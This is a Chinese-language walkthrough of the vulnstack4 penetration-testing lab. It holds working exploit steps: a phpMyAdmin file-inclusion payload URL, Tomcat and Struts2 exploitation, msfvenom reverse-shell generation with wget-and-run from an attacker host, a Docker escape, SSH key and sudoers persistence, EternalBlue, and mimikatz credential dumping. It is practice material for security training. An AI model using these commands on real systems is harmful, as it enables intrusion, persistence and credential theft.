红日靶场 vulnstack4
环境搭建
http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
ubuntu上可以再启动一下docker
docker start ec 17 09 bb da 3d ab ad
靶机信息
ubuntu:ubuntu
域成员机器
douser:Dotest123
DC:administrator:Test2008 ——>NStest2008
web:192.168.183.129 192.168.255.132
(这里环境配置的时候刚开始没用NAT,直接对183进行操作了,应该是对NAT的外网IP进行访问)
域成员:192.168.183.128 windows7
域控:192.168.183.130 DC
信息收集
用nmap扫描一下开放端口
这里是扫到2001 2002 2003这三个端口
图片找不到了
web页面打点
phpadmin CVE-2018-12613
先看看第一个phpadmin页面
进来是一个不需要密码的phpadmin,看到版本是4.8.1
该版本存在文件包含漏洞,影响4.8.0和4.8.1
来看看存在包含的位置
if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; }
对于target传入参数做了一些判断
1需要是字符串,2正则匹配不能是index开头
3不在$target_blacklist 黑名单里面
$target_blacklist = array ( 'import.php', 'export.php' );
4Core类的checkPageValidity方法判断为True
public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; } if (in_array($page, $whitelist)) { return true; }
#这里的$page需要在白名单内 $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page);
#有一次url解码 $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } return false; }
我们想要返回一个True就能bypass了
来一个个的看
第一个if $whitelist为空就把$goto_whitelist给赋值过去
第二个if 判断是否为字符串,可以过
第三个if 判断$_page是否在白名单,显然不在
第四个if 进行了一个mb_substr()函数的执行
这个函数是用于查找前面的字符串中对应后面字符串所出现的第一个位置
下面这个就是表示取到?第一个出现的位置 然后,在从头开始取到?前面
也就是相当于一个取?前面的部分赋值给$_page,然后判断是否在白名单里面 是就返回True
那么我们构造target参数前面是在白名单里面的而后面接上?和../../../就能目录遍历了(在linux服务器)
再来看看最后一个if 进行了一次url解码,这个是windows服务器bypass的关键
因为windows对于文件名有规范
所以直接写?就报错,这里有一次url解码加上服务器收到数据后有一次解码
所以把?url编码两次就可以bypass
获取文件包含的payload后继续来看这里有个test数据库可以任意操作
写一张rce表,插入phpinfo
然后F12控制台找到phpadmin的缓存里面记录了我们的这条信息,需要找到这个缓存的路径
一般是在
tmp/sess_
payload:http://192.168.183.129:2003/index.php?target=db_datadict.php?../../../../../../../../../tmp/sess_d5033046432999c63181cc5b1716ca78
接下来直接写一句话木马连接就可以了
Tomcat 8.5.19 CVE-2017-12617
访问得到一个tomcat页面
ok看到了他的版本号可以直接去漏洞库里面找一下
这里用一个kali自带的工具 searchsploit 去查找本地的exploit-db库
查找漏洞 searchsploit tomcat 8.5.19 通过路径下载到当前目录 searchsploit -m /jsp/webapps/42966.py
然后直接poc跑一下
验证成功存在上传漏洞
直接可以用payload来攻击
python3 42966.py -u http://192.168.183.129:2002 -p pwn
这里得到一个shell,可以通过msf生成linux木马来上线msf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.255.128 LPORT=7869 -f elf > msf_shell.elf
然后挂载这个msf_shell.elf文件到web,用获取到的shell去下载,在chmod 权限去执行
wget http://192.168.255.128/msf_shell.elf chmod 777 msf_shell.elf ./msf_shell.elf
在用msf接收就可以上线了
set payload linux/x86/meterpreter/reverse_tcppayload linux/x86/meterpreter/reverse_tcp set lhost 192.168.255.128 set lport 7869 run
但是我这里这个ubuntu的web靶机不知道为什么网络不可达了,反弹shell和这种木马上线都不行了
不能网络访问到我的攻击机了,一般情况应该是可以的,这里由于未知的网络问题就不演示了。T_T
Struct 2漏洞
这里访问得到的是一个struct 2框架的页面
直接上工具干一波,检测出来有漏洞
尝试执行一下,返回了异常报错
其实我觉得应该就是之前提到的网络问题导致这样的,正常的应该是可以的,这里就不继续验证了
换了一个版本的工具再来试试 可以成功执行了
上传木马显示失败,但是去访问发现已经上传成功了
然后小马托大马或者直接传大马
直接冰蝎可以连接上来
利用Tomcat上传冰蝎马上线
这个漏洞因为是上传,我们上传冰蝎马
这里直接把get改成PUT方法来上传就可以了
然后冰蝎连接
docker逃逸
进来发现是一个docker,这里尝试逃逸,特权模式启动的 可以mout挂载目录获得读取权限
挂载目录
fdisk -l 查看挂载目录
mkdir runout
挂载本地目录到主机
mount /dev/sda1 runout
然后就可以带上runout目录去执行访问了
前面说了反弹shell和木马上线由于网络都不行了,所以这里用写ssh密钥
写入密钥连接ssh
生成公钥和私钥
ssh-keygen -t rsa
写入公钥时候 路径不能用~,不然会找不到,直接写就是了
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD7WiRj9NWLuko6ez9d2dyLyr7I8SPHFKKIPOeuT8iJdVc76MF1i8dZKGnxm+yyHbU/gnQ64FkOmgH35UQW814CR6nGM5EsmhExRG9uPsV3aWCkZICRyzRZQ2VnTFjw9ZQAvjY+1YaaXDZ15HGBep/DIokpcpIjjfKER2F3aD5kKa7uVbpi7MRlVhSuXrPeke5yiXtd3l6OtEd+BG+x+MlOyXUt/tkiENoR762twa5o2P78AOBYhiyGaaLxznnbL5KfuyC/ZQuB/Z/aWIqwCGt3ZsBh2iBGBEpoXEAsdRzTwPHbuYV2EZQce1du47KLDrP6vsXV2+9k2SChmZJjgSQE9CR48GQ6BXROoM7eGdW+dCiz3XaMdA7BiK9P57SLt77obulRfWroSSXPD0NtjUQh/9g8yK3RTlpxA+CTaIuTEcQgfwxUNDkKu6t13Jl0T4/F5nfnDhEAlz0WDAb87yekfHRsUGENXD2YRg/WRXbwdJzgTnvNb3YtD+d51Tv50Fs= root@kali' >> runout/home/ubuntu/.ssh/authorized_keys
对比
写~会找不到!!因为这是一个jsp木马 冰蝎连接的,只是能rce并不是一个真正的shell,所以路径要注意直接写绝对路径
写入成功之后就可以直接用密钥来免密连接了
ssh username@IP
得保证 authorized_keys文件有600的权限也就是 root的 rw 权限
ubuntu提权姿势,普通的用户无法直接su root操作受限制
可以值/etc/sudoers文件里面加入一条语句,使得可以su 切换root
echo 'UBUNTU ALL=(ALL:ALL) ALL' >> runout/etc/sudoers
这里输入ubuntu的密码就可以了切换到root了
不知道密码怎么办,我们应该可以通过写入/ect/passwd 和/etc/shadow来直接创建出我们已知的用户
这样也可以来提权不过我写入进去没有得到用户。而且这种操作留下痕迹也明显
。。。。。
或者试试linux的一些提权漏洞
sudo su root
然后这里除了写ssh密钥应该也是可以反弹shell的,
反弹shell姿势有很多,传到定时任务目录,或者直接写到机器执行
上线msf等等
我试了很多次都是这样的结果
连不上!连不上!
他说网络连接不可达
就算我直接访问VPS也是访问不了,可能是网络哪里出问题了这个web靶机。
裂开来 上不了msf 不能弹shell 真的难受
内网横向
然后win7登录给我来个这种,由于域还不是很懂,不敢取乱配置,导致我无法登录上去了
因为我kali和三台靶机是一个虚拟机网段,所以能直接访问到
这里就直接用永恒之蓝探测攻击win7了 没法代理信息收集了
use windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.128
show options
run
如果没有打出来可以多run几次
这里攻击成功
弹回一个shell
这里出现中文乱码,很不方便信息收集
可以直接设置改变编码
chcp 65001
这台win7打进去后我们用meterpreter迁移进程,目的是从x86迁移到x64里面
getpid
ps
这里迁移到了460进程里面,有些进不去就换其他的进程多试试
migrate 460
可以传一个mimikatz上去,这台win7桌面上就有就不传了
然后mimikatz试着抓密码出现权限不够的这种情况
可以尝试用着两条命令来提高权限试试
use incognito impersonate_token "NT AUTHORITY\SYSTEM"
然后抓取密码
privilege::debug
sekurlsa::logonpasswords
直接获取内存口令
这里我的win7前面就提到出了点问题 ,先暂时到这里